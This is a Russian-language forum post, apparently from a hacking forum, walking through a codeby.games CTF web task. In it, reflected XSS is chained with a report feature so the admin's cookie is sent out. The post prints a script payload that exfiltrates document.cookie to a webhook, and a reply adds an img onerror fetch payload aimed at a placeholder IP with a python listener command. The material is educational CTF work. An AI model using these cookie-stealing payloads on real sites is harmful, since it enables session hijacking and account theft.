• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Решаем CTF codeby / обучаюсь хакерству день 1. (Задание - Клиент всегда прав)

Shira

CD-диск
Пользователь
Регистрация
21.05.2023
Сообщения
13
Реакции
13
Решаем CTF codeby / обучаюсь хакерству день 1.


Здравствуйте, я очень люблю учиться ИБ, особенно я люблю практику. Так что сегодня будем учиться решать таски на практике. На сайте codeby.games есть множество заданий. Многие легкие задания я уже выполнил, а также они не такие интересные, так что сразу начнем со средних.
Сразу скажу, что я только учусь пентесту, если у вас есть какая-то критика или материал для изучения, мне будет приятно выслушать её в комментариях, чтобы стать лучше!!!

Задание - Клиент всегда прав.
Описание - Какой-то админ ворует наши публикации и выставляет их на свой сайт. Ты ведь не будешь сидеть сложа руки?
И сам сайт где нужно найти флаг - 62.173.140.174:16013

Сам сайт выглядит так -

1713554944078.png

В каждой статье нас встречает картинка и текст
1713554965787.png

Так первым делом по приколу я закинул сайт в сканер burpsuirte pro
1713554991835.png

И, к моему удивлению, он кое-что да нашел.
1713555037279.png

Но это обычный XSS, и в обычном виде он нам ничего не дает. Ищем дальше.После 30 минут ползанья по сайту я наконец увидел иконку репорта на статью на сайте.

1713555067406.png

Давайте изучим это через proxy в Burp.Включаем перехват запроса.

1713555133477.png

нажимаем на кнопку и видим GET запрос на сервер

1713555150600.png


Так это уже интересно. Тут запрос с шаблоном {/?report={адрес публикации}}.
Отправляем запрос в репитер и пробуем шаманить.
Для начала давайте попытаемся зарепортить localhost.

1713555178941.png


Отправляем запрос и получаем…
1713555194599.png


Хм, значит, не туда копаем.

Я начал обдумывать всё, что нам дано, и тут у меня появилась догадка. При отправке запроса на поиск статьи он отправляется как GET-запрос.

1713555213437.png


а теперь давайте попробуем его зарепортить, и получаем

1713555278079.png

Так, значит, на запросы детекст не распространяется. Дальше я вспомнил, что как раз в запросах у нас есть XSS-уязвимость, теперь надо подумать, как её проэксплуатировать. Первое, что пришло в голову, это получить cookie от сервера. Но как это сделать, если через репорт алерт работать не будет? Здесь нужно принять cookie на сервер. Я не знал, как это сделать, и я просто загуглил. К сожалению, я ничего не нашёл, кроме решения этого же таска от пользователя codeby D3L1F3R — он отправляет cookie на вебхук, что намного легче, чем делать отправку на свой сервер.

Для того чтобы отправить cookie на вебхук, надо сначала вебхук создать. Для этого есть сайт — https://webhook.site, в поле Your unique URL будет ваш вебхук-адрес. Далее нужно просто вставить его в команду: <script>document.location='Ваш_Вебхук_Адрес/c='+encodeURIComponent(document.cookie);</script> Далее я закодировал payload в URL через тот же бурп и вставил в репитер:
1713555295227.png


После отправки запроса мы видим что запрос отправился на сервер успешно, далее проверяем сайт https://webhook.site и видим новый гет запрос -
1713555343237.png

В URL которого и будет наш флаг.

По факту сам я дошел до половины, но осилить XSS с отправкой на вебхук или сервер я не смог, но теперь я знаю новый метод эксплуатации XSS.
Это был один из самых легких средних заданий на сайте), так что в дальнейшем будут более трудные задания. Спасибо всем за просмотр. Это моя первая статья, так что, пожалуйста, не судите строго, всем удачи!
 

Вложения

  • 1713554927716.png
    1713554927716.png
    30.5 КБ · Просмотры: 25
Пожалуйста, обратите внимание, что пользователь заблокирован
https://codeby.net/ публикуй лучше тут тоже. Там больше людей которых интересует подобная тематика.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
https://codeby.net/ публикуй лучше тут тоже. Там больше людей которых интересует подобная тематика.
Его забанить могут за публикацию решения задания. На то это и задачка. Чтобы люди думали. А не искали готовое решение.
 
Его забанить могут за публикацию решения задания. На то это и задачка. Чтобы люди думали. А не искали готовое решение.
Нет, там можно публиковать решения задач категории веб, но есть запрет на публикацию решений категории «квест».
 
Его забанить могут за публикацию решения задания. На то это и задачка. Чтобы люди думали. А не искали готовое решение.
Может быть я буду публиковать статьи и на xss, и на codeby, как раз скоро закончится ctf.tinkoff.
 
Здесь нужно принять cookie на сервер. Я не знал, как это сделать, и я просто загуглил
Поднимаешь сервер с помощью python в консоли
Для python 3:

python3 -m http.server 1234 (1234 это порт)

Для python 2 и ниже:

python -m SimpleHTTPServer

Далее для захвата куки:

<img src=x onerror=fetch('http://10.10.10.10:1234/'+document.cookie);>

Вместо айпи прописываешь свой и порт тоже
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх